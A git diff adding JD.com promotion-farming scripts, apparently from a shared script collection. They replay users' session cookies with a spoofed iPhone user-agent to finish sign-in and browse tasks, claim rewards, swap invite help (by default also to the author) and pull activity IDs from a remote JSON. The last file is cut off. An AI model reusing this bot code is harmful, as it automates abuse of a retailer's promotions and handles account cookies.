(() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_park_task.js b/jd_joy_park_task.js new file mode 100644 index 0000000..5791131 --- /dev/null +++ b/jd_joy_park_task.js @@ -0,0 +1,392 @@ +/* + +脚本默认会帮我助力开工位,介意请添加变量HELP_JOYPARK,false为不助力 +export HELP_JOYPARK="" + +更新地址:https://github.com/Tsukasa007/my_script +============Quantumultx=============== +[task_local] +#汪汪乐园每日任务 +0 0,7,9,17,20 * * * jd_joypark_task.js, tag=汪汪乐园每日任务, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_task.png, enabled=true + +================Loon============== +[Script] +cron "0 0,7,9,17,20 * * *" script-path=jd_joypark_task.js,tag=汪汪乐园每日任务 + +===============Surge================= +汪汪乐园每日任务 = type=cron,cronexp="0 0,7,9,17,20 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_task.js + +============小火箭========= +汪汪乐园每日任务 = type=cron,script-path=jd_joypark_task.js, cronexpr="0 0,7,9,17,20 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园每日任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.invitePinTaskList = [] +$.invitePin = [ + "" +] +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.openIndex = 0 + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + // if ($.isNode()) { + // if (process.env.HELP_JOYPARK && process.env.HELP_JOYPARK == "false") { + // } else { + // $.kgw_invitePin = ["7zG4VHS99AUEoX1mQTkC9Q"][Math.floor((Math.random() * 1))]; + // let resp = await getJoyBaseInfo(undefined, 2, $.kgw_invitePin); + // if (resp.data && resp.data.helpState && resp.data.helpState === 1) { + // $.log("帮【zero205】开工位成功,感谢!\n"); + // } else if (resp.data && resp.data.helpState && resp.data.helpState === 3) { + // $.log("你不是新用户!跳过开工位助力\n"); + // break + // } else if (resp.data && resp.data.helpState && resp.data.helpState === 2) { + // $.log(`他的工位已全部开完啦!\n`); + // $.openIndex++ + // } else { + // $.log("开工位失败!\n"); + // } + // } + // } + await getJoyBaseInfo() + if ($.joyBaseInfo && $.joyBaseInfo.invitePin) { + $.log(`${$.name} - ${$.UserName} 助力码: ${$.joyBaseInfo.invitePin}`); + $.invitePinTaskList.push($.joyBaseInfo.invitePin); + } else { + $.log(`${$.name} - ${$.UserName} 助力码: null`); + $.invitePinTaskList.push(''); + $.isLogin = false + $.log("服务端异常,不知道为啥有时候这样,后面再观察一下,手动执行应该又没问题了") + continue + } + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getTaskList(); + + // 签到 / 逛会场 / 浏览商品 + for (const task of $.taskList) { + if (task.taskType === 'SIGN') { + $.log(`${task.taskTitle}`) + await apDoTask(task.id, task.taskType, undefined); + $.log(`${task.taskTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + if (task.taskType === 'BROWSE_PRODUCT' || task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes !== 1) { + let productList = await apTaskDetail(task.id, task.taskType); + let productListNow = 0; + if (productList.length === 0) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + productList = await apTaskDetail(task.id, task.taskType); + + } + } + //做 + while (task.taskLimitTimes - task.taskDoTimes >= 0) { + + if (productList.length === 0) { + $.log(`${task.taskTitle} 活动火爆,素材库没有素材,我也不知道啥回事 = = `); + break; + } + $.log(`${task.taskTitle} ${task.taskDoTimes}/${task.taskLimitTimes}`); + let resp = await apDoTask(task.id, task.taskType, productList[productListNow].itemId, productList[productListNow].appid); + + if (resp.code === 2005 || resp.code === 0) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 任务完成!`) + } else { + $.log(`${resp.echo} 任务失败!`) + } + productListNow++; + task.taskDoTimes++; + if (!productList[productListNow]) { + break + } + } + //领 + for (let j = 0; j < task.taskLimitTimes; j++) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + break + } + } + } else if (task.taskType === 'SHARE_INVITE') { + $.yq_taskid = task.id + for (let j = 0; j < 5; j++) { + let resp = await apTaskDrawAward($.yq_taskid, 'SHARE_INVITE'); + + if (!resp.success) { + break + } + $.log("领取助力奖励成功!") + } + } + if (task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes === 1) { + $.log(`${task.taskTitle}|${task.taskShowTitle}`) + await apDoTask2(task.id, task.taskType, task.taskSourceUrl); + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + // if (task.taskType === 'SHARE_INVITE') { + // $.yq_taskid = task.id + // } + } + } + } + + $.log("\n======汪汪乐园开始内部互助======\n======有剩余助力次数则帮zero205助力======\n") + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.newinvitePinTaskList = [...($.invitePinTaskList || []), ...($.invitePin || [])] + for (const invitePinTaskListKey of $.newinvitePinTaskList) { + $.log(`【京东账号${$.index}】${$.nickName || $.UserName} 助力 ${invitePinTaskListKey}`) + let resp = await getJoyBaseInfo($.yq_taskid, 1, invitePinTaskListKey); + if (resp.success) { + if (resp.data.helpState === 1) { + $.log("助力成功!"); + } else if (resp.data.helpState === 0) { + $.log("自己不能助力自己!"); + } else if (resp.data.helpState === 2) { + $.log("助力过了!"); + } else if (resp.data.helpState === 3) { + $.log("没有助力次数了!"); + break + } else if (resp.data.helpState === 4) { + $.log("这个B助力满了!"); + } + } else { + $.log("数据异常 助力失败!\n\n") + break + } + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + +//任务列表 +function getTaskList() { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body=%7B%22linkId%22%3A%22LsQNxL7iWDlXUs6cFl-AAg%22%7D&appid=activities_platform`, `apTaskList`), async (err, resp, data) => { + $.log('=== 任务列表 start ===') + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.taskList = data.data + for (const row of $.taskList) { + $.log(`${row.taskTitle} ${row.taskDoTimes}/${row.taskLimitTimes}`) + } + $.log('=== 任务列表 end ===') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 互助 + * @param taskId + * @param inviteType + * @param inviterPin + * @returns {Promise} + */ +function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=1625480372020&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + $.log(`resolve start`) + resolve(data); + $.log(`resolve end`) + } + }) + }) +} + +function apDoTask(taskId, taskType, itemId = '', appid = 'activities_platform') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apDoTask2(taskId, taskType, itemId, appid = 'activities_platform') { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apTaskDetail(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`functionId=apTaskDetail&body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDetail`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (!data.success) { + $.taskDetailList = [] + } else { + $.taskDetailList = data.data.taskItemList; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + if (!data.success) { + resolve([]); + } else { + resolve(data.data.taskItemList); + } + } + }) + }) +} + +function apTaskDrawAward(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDrawAward`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log("领取奖励") + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, + body: body, + headers: { + 'User-Agent': 'jdltapp;iPhone;3.5.6;14.6;eac3e15e91fd380664fc7c788e8ab6a07805646d;network/4g;ADID/8F6CAEEA-5BF7-4F7E-86C3-A641C19CA832;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/1995295948;hasOCPay/0;appBuild/1070;supportBestPay/0;pv/41.26;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/eac3e15e91fd380664fc7c788e8ab6a07805646d|112;jdv/0|kong|t_500509960_|jingfen|bb9c79e4c4174521873879a27a707da4|1625071927291|1625071930;adk/;app_device/IOS;pap/JA2020_3112531|3.5.6|IOS 14.6;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joyjd_open.js b/jd_joyjd_open.js new file mode 100644 index 0000000..555c374 --- /dev/null +++ b/jd_joyjd_open.js @@ -0,0 +1,324 @@ +if (!["card","car"].includes(process.env.FS_LEVEL)) { + console.log("请设置通用加购/开卡环境变量FS_LEVEL为\"car\"(或\"card\"开卡+加购)来运行加购脚本") + return +} +/* +#jd_joyjd_open通用ID任务,多个活动用@连接,任务连接https://jdjoy.jd.com/module/task/v2/doTask +export comm_activityIDList="af2b3d56e22d43afa0c50622c45ca2a3" +export comm_endTimeList="1639756800000" +export comm_tasknameList="京东工业品抽奖" + +即时任务,无需cron,短期或者长期请参考活动规则设置cron +*/ +const $ = new Env('jd_joyjd_open通用ID任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +let activityIDList = ''; +let endTimeList = ''; +let tasknameList = ''; +let activityIDArr = []; +let endTimeArr = []; +let tasknameArr = []; +let activityID = '', endTime = '', taskname = ''; +$.UA = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.comm_activityIDList) activityIDList = process.env.comm_activityIDList + if (process.env.comm_endTimeList) endTimeList = process.env.comm_endTimeList + if (process.env.comm_tasknameList) tasknameList = process.env.comm_tasknameList + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + if (!activityIDList) { + $.log(`没有通用ID任务,尝试获取远程`); + let data = await getData("https://raw.githubusercontent.com/Ca11back/scf-experiment/master/json/joyjd_open.json") + if (!data) { + data = await getData("https://raw.fastgit.org/Ca11back/scf-experiment/master/json/joyjd_open.json") + } + if (data.activityIDList && data.activityIDList.length) { + $.log(`获取到远程且有数据`); + activityIDList = data.activityIDList.join('@') + endTimeList = data.endTimeList.join('@') + tasknameList = data.tasknameList.join('@') + }else{ + $.log(`获取失败或当前无远程数据`); + return + } + } + console.log(`通用ID任务就位,准备开始薅豆`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + await getUA(); + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.oldcookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let activityIDArr = activityIDList.split("@"); + let endTimeArr = endTimeList.split("@"); + let tasknameArr = tasknameList.split("@"); + for (let j = 0; j < activityIDArr.length; j++) { + activityID = activityIDArr[j] + endTime = endTimeArr[j] + taskname = tasknameArr[j] + $.fp = randomString(); + $.eid = randomString(90).toUpperCase(); + console.log(`通用活动任务ID:${activityID},结束时间:${endTime},活动名称:${taskname}`); + if($.endTime && Date.now() > $.endTime){ + 